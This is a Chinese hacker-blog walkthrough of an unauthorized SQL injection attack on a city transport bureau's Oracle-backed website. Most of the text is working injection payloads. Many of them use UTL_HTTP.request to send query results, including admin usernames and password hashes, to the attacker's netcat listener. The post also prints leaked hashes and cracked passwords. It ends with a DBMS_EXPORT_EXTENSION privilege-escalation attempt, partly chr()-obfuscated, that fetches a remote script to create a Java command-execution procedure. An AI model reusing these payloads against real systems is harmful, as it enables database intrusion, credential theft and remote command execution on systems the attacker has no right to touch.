oracle注入某市交通局
|
来源:http://hi.baidu.com/hacker_fengzi 作者:瘋吇 发布时间:2009-08-10
|
|
来源:http://www.bhst.org 作者:瘋吇ぺx[BHST] BLOG:http://hi.baidu.com/hacker_fengzi 转载请保留此段文字
过完年后由于东北的天气比较冷,所以工程还没正式开工,于是天天在办公室上网。看到QQ上的一个群公告上写着一个站点,意思就是说看看谁能拿下这个站点。看到这样的公告,小菜我就自报奋勇冲了上去。
一.初遇注入
这个网站是基于jsp动态语言所编写的,是什么系统小菜我就不知道了。打开网站如图1.
随便找了个有参数传递的地方提交个“'”返回如图2.
看来有戏,得到信息:Resin 2.1.8 。 继续提交 ' and '1'='1 和' and '1'='2 返回如图3,4.
到了这里无论是什么数据库都能说明存在注射漏洞。那就继续吧!先看看是什么类型的数据库,提交/*fengzi 返回如图4的界面,没有正常显示,说明数据库不是MYSQL的。那我们继续在URL后边提交“;”同样返回出错,看样子也不是MSSQL的数据库。再来在RUL后提交“' --fengzi”这下返回正常如图5。
在JSP下支持“--”的就只有MSSQL和Oracle了,上边已经排除了MSSQL。难道是Oracle?进一步证实一下提交“' and (select count (*) from user_tables)>0--” 返回如图6.
晕!真的是Oracle!这下爽了,难得有这样练手的机会。大家都知道使用Oracle数据库的大多数都是大型的系统,安全性能很高。
二.艰难猜解
既然已经存在注射,我们就要整理一下我们的思路了。小菜我打算先从后台入手。那我们先来找找后台,不然等猜到用户和密码找不到后台的话会很郁闷。直接在URL后边加上个 admin 返回如图7。
后台有了,在猜解之前先来看看,先来看看后台登陆页面的源码。如下
代码:
<tr> <td width="25%" align="center" valign="middle" bgcolor="eeeeee"><img src="../images/account.gif" width="16" height="16"></td> <td width="75%" align="" valign="middle"> <input name="username" type="text" size="15"> </td> </tr> <tr> <td align="center" valign="middle" bgcolor="eeeeee"><img src="../images/key.gif" width="16" height="16"></td> <td align="" valign="middle"><input name="password" type="password" size="15"></td> </tr>
一般管理员在编写程序的时候为了方便或者自己的习惯,都将用户表里的列名作为变量传递的,所以很有可能用户表里就有username和password这两个列。相信这点小技巧大家都知道了。Oracle和其他数据库最大的不同就是Oracle含有系统表,我们可以在里获得想要的数据,关键的系统表有all_tables,all_objects .......等。我们都是有权限访问的。首先提交“' and (select count(*) from user_tab_columns where column_name like '%25USER%25')>0--” 返回如图8。
(user_tab_columns里存放着所有的列名,这里我们用like来查看列名里是否有相似USER的列,注意是相似哦!而%25是%的RUL编码,想要查询的列必须是大写的,因为Oracle里的列名都是大写的。)返回正常说明存在和USER相似的列名。继续提交“' and (select count(*) from user_tab_columns where column_name like '%25USERNAME%25')>0--”同样返回正常,这说明存在一个相似USERNAME的列名,从前面我们查看登陆页面的源码的时候初步判断出存在一个USERNAME的列。证实一下,提交 “' and (select count(*) from user_tab_columns where column_name like 'USERNAME')>0--” 把%25去掉。返回如图9。
这下证实了确实存在一个USERNAME的列名。继续提交 “' and (select count(*) from user_tab_columns where column_name like 'PASSWORD')>0--” 同样的办法也证实了存在一个PASSWORD的列名。现在列名有了,那就来看看表名是什么。提交 “' and (select count(*) from user_tab_columns where table_name like '%25USER%25' and column_name like '%25USERNAME%25')>0--”如图10
返回正常。说明含有类似于USER的表存在。继续提交 “' and (select count(*) from user_tab_columns where table_name like '%25USER%25' and column_name like '%25USERNAME%25')>1--” 返回正常,看来还不止一个这样的表。继续提交 “' and (select count(*) from user_tab_columns where table_name like '%25USER%25' and column_name like '%25USERNAME%25')>2--”正常。 “' and (select count(*) from user_tab_columns where table_name like '%25USER%25' and column_name like '%25USERNAME%25')>3--”错误。 “' and (select count(*) from user_tab_columns where table_name like '%25USER%25' and column_name like '%25USERNAME%25')=3--”返回正常,如图11.
看来有3个这样的表。试了N多也没找出这个表是什么,真是郁闷。那现在只能一个一个的爆了。方法是使用 union结合select。先来用order by看看有多少个字段,提交“' order by 10--”如图12
返回正常,说明字段大于10.继续提交“' order by 20--”出错,“' order by 15--”出错,“' order by 13--”出错, “' order by 12--”正常,说明字段数目为12个。下面就开始用union,前提是列数和类型要完全一样。提交“' union select NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL from dual--”(注意:Oracle和MYSQL不同union的时候必须要跟个from 表名,dual是系统表)返回如图13.
返回出错,看来union是用不了。既然union用不了那就来招更狠的,Oracle自身有很多的默认账户、包和存储过程。我们可以使用UTL_HTTP包把我们想要的信息返回来。如果想检测一下UTL_HTTP包是否存在可以使用语句select count(*) from all_objects where object_name='UTL_HTTP'来判断。 OK既然是反回信息我们先在本地用NC监听,然后使用“' and UTL_HTTP.request('http://IP:2009/'||(查询语句))=1--”这样的形式。本地先 nc -l -vv -p 2009,然后提交 “' and UTL_HTTP.request('http://IP:2009/'||(select banner from sys.v_$version where rownum=1))=1--”如图14
成功返回数据库的版本。现在我们就来一点一点的爆。先爆库,再爆表,再爆字段(上文字段已经把字段确定出来了是USERNAME和PASSWORD),最后爆字段值。现在我们就来爆库,提交 “' and UTL_HTTP.request('http://ip:2009/'||(select owner from all_tables where rownum=1))=1--”如图15
成功爆出第一个库的名字为SYS。继续爆第二个库名,提交 “' and UTL_HTTP.request('http://IP:2009/'||(select owner from all_tables where owner<>'SYS' and rownum=1))=1--”如图16
获得第二个库的名字为SYSTEM。继续爆第三个库,提交 “' and UTL_HTTP.request('http://IP:2009/'||(select owner from all_tables where owner<>'SYS' and owner<>'SYSTEM' and rownum=1))=1--”如图17
获得第三个库的名字为WMSYS。我们继续提交 “' and UTL_HTTP.request('http://IP:2009/'||(select owner from all_tables where owner<>'SYS' and owner<>'SYSTEM' and owner<>'WMSYS' and rownum=1))=1--” 获得第四个库名MDSYS。提交 “and UTL_HTTP.request('http://IP:2009/'||(select owner from all_tables where owner<>'SYS' and owner<>'SYSTEM' and owner<>'WMSYS' and owner<>'MDSYS' and rownum=1))=1--” 获得库名CTXSYS。以此类推获得所有库名 SYS、SYSTEM、WMSYS、MDSYS、CTXSYS、WKSYS、USER_ZFW_RZ。一共七个,现在库名有了就该爆表名了,首先要选者一个库,这里我选最后一个(这里如果选错库的话花费的时间就要很长时间)。爆表语句如下 提交“' and UTL_HTTP.request('http://IP:2009/'||(select TABLE_NAME from all_tables where owner='USER_ZFW_RZ'and rownum=1))=1--”如图18
USER_ZFW_RZ库中第一个表为PLAN_TABLE。继续提交 “' and UTL_HTTP.request('http://IP:2009/'||(select TABLE_NAME from all_tables where owner='USER_ZFW_RZ'and rownum=1 and TABLE_NAME<>'PLAN_TABLE'))=1--”如图19.
获得第二个表TBL_EAA_ACCESSORIES.继续提交 “' and UTL_HTTP.request('http://IP:2009/'||(select TABLE_NAME from all_tables where owner='USER_ZFW_RZ'and rownum=1 and TABLE_NAME<>'PLAN_TABLE' and TABLE_NAME<>'TBL_EAA_ACCESSORIES'))=1--” 获得第三个表TBL_EAA_AFFICHE。如图20。
通过这样依此类推获得所有表。PLAN_TABLE、TBL_EAA_ACCESSORIES、TBL_EAA_AFFICHE..........TBL_USER_BASE、TBL_USER_MANAGER_BASE、TBL_USER_PURVIEW.........TBL_USER_TUSER、TBL_WEATHER_TWEATHER、TBL_WEB、TEST。一共有46个表。这下表有了列名也有了就该爆用户和密码了。(管理的用户和密码到底存放在哪个表还需要慢慢的探测,我这里就直接绕过去,因为已经事先检测完了存放在表TBL_USER_MANAGER_BASE里边,列名也确定了是USERNAME和PASSWORD)如果需要爆这个表里有多少个列可以用 “' and UTL_HTTP.request('http://IP:2009/'||(select count(*) from user_tab_columns where table_name='表名'))=1--”或者想要爆第一个列名可以使用 “' and UTL_HTTP.request('http://IP:2009/'||(select * from user_tab_columns where table_name='表名' and rownum=1))=1--” 爆第二个列名使用 “' and UTL_HTTP.request('http://IP:2009/'||(select * from user_tab_columns where table_name='表名' and rownum=1 and COLUMN_NAME<>'第一个爆出的列名'))=1--” 以此类推就可以爆出所有的列名。现在我们继续爆用户和密码,提交 “' and UTL_HTTP.request('http://IP:2009/'||(select USERNAME from TBL_USER_MANAGER_BASE where rownum=1))=1--”如图21。
成功爆出用户名为administrator.爆密码提交 “' and UTL_HTTP.request ('http://IP:2009/'||(select PASSWORD from TBL_USER_MANAGER_BASE where rownum=1))=1--”如图22。
解密后的明文是字母a。OK,现在万事具备登陆后台,如图23。
可是权限非常小什么都干不了。那我们继续爆第二个用户,提交 “' and UTL_HTTP.request('http://IP:2009/'||(select USERNAME from TBL_USER_MANAGER_BASE where rownum=1 and USERNAME<>'administrator'))=1--”如图24。
成功得到用户jyk,继续爆这个用户的密码,提交 “' and UTL_HTTP.request('http://www.jk2100.com:2009/'||(select PASSWORD from TBL_USER_MANAGER_BASE where rownum=1 and PASSWORD<>'0CC175B9C0F1B6A831C399E269772661'))=1--” 如图25获得jyk的MD5密码为00191258A60D983340F8BC236C0C585A解密后为dcsoft。
三.已败告终
登陆后台,如图26.
这把有权限了什么都可以干,本想通过后台拿shell的,但是找了半天没有可以利用,就一个上传还利用不上,不存在漏洞。看来这条路算是断了,那我们继续。首先想到的就是SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES函数,我们可以通过web注射直接获得系统权限,呵呵,非常诱人吧!我们先来看看这个函数的利用。如下。SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);[多语句]END;--','SYS',0,'1',0) 多语句里写上我们的exploit,但是这样会造成我们构造的语句非常庞大,所以这里我们可以使用utl_http.request来获取我们放在远程及其上的exploit。 到这里我们的语句就构造完了。 ' and SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1); utl_http.request ('http://www.li-tek.com/1.txt') END;--','SYS',0,'1',0)=0-- 但是提交后返回该页无法显示。换成char() 形式后and SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(39)||chr(70)||chr(79),chr(79)||chr(39)||chr(44),chr(39)||chr(66)||chr(65)||chr(82)||chr(39)||chr(44)||chr(39)||chr(68)||chr(66)||chr(77)||chr(883)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||utl_http.request(chr(39)||chr(104)||chr(116)||chr(116)||chr(112)||chr(58)||chr(47)||chr(47)||chr(119)||chr(119)||chr(119)||chr(46)||chr(108)||chr(105)||chr(45)||chr(116)||chr(101)||chr(107)||chr(46)||chr(99)||chr(111)||chr(109)||chr(47)||chr(49)||chr(46)||chr(116)||chr(120)||chr(116)||chr(39))||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45)||chr(39),chr(39)||chr(83)||chr(89)||chr(83)||chr(39),0,chr(39)||chr(49)||chr(39),0)=0-- 远程地址的1.txt内容为 EXECUTE IMMEDIATE 'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''CREATE OR REPLACE AND RESOLVE JAVA SOURCE NAMED "JAVACMD" AS import java.lang.*;import java.io.*;public class JAVACMD{public static void execCommand (String command) throws IOException {Runtime.getRuntime().exec(command);}};'';END;' 提交返回如图27.
返回500错误。根据图中返回的结果感觉应该是语句出错了。但是去网上找了好几个都是一样的。还有一给可能就是打了补丁(不过据说打这个补丁的服务器比较少,难道就让我碰上了,这里不确定)后来本打算添加个DBA用户,然后本地连上去。但是telnet了站点的1521端口也没反应,可能是不可外连,这样就算我们可以添加DBA用户也没办法利用了,ORACLE的sid也没查到,使用sidguess破解也是无功而返,弄到这里小菜我是黔驴技穷了。如果哪位牛牛还有办法麻烦指教一下。感激不尽。
五.总结
虽然最终没能得到服务器的系统权限,但是体验了一次ORACLE注射,感觉很不错,体验的过程中也学到了很多东西。
|
|
|
[推荐]
[评论(0条)]
[返回顶部] [打印本页]
[关闭窗口] |
|
|
|
|
|
|
推荐广告 |
|
|
|
|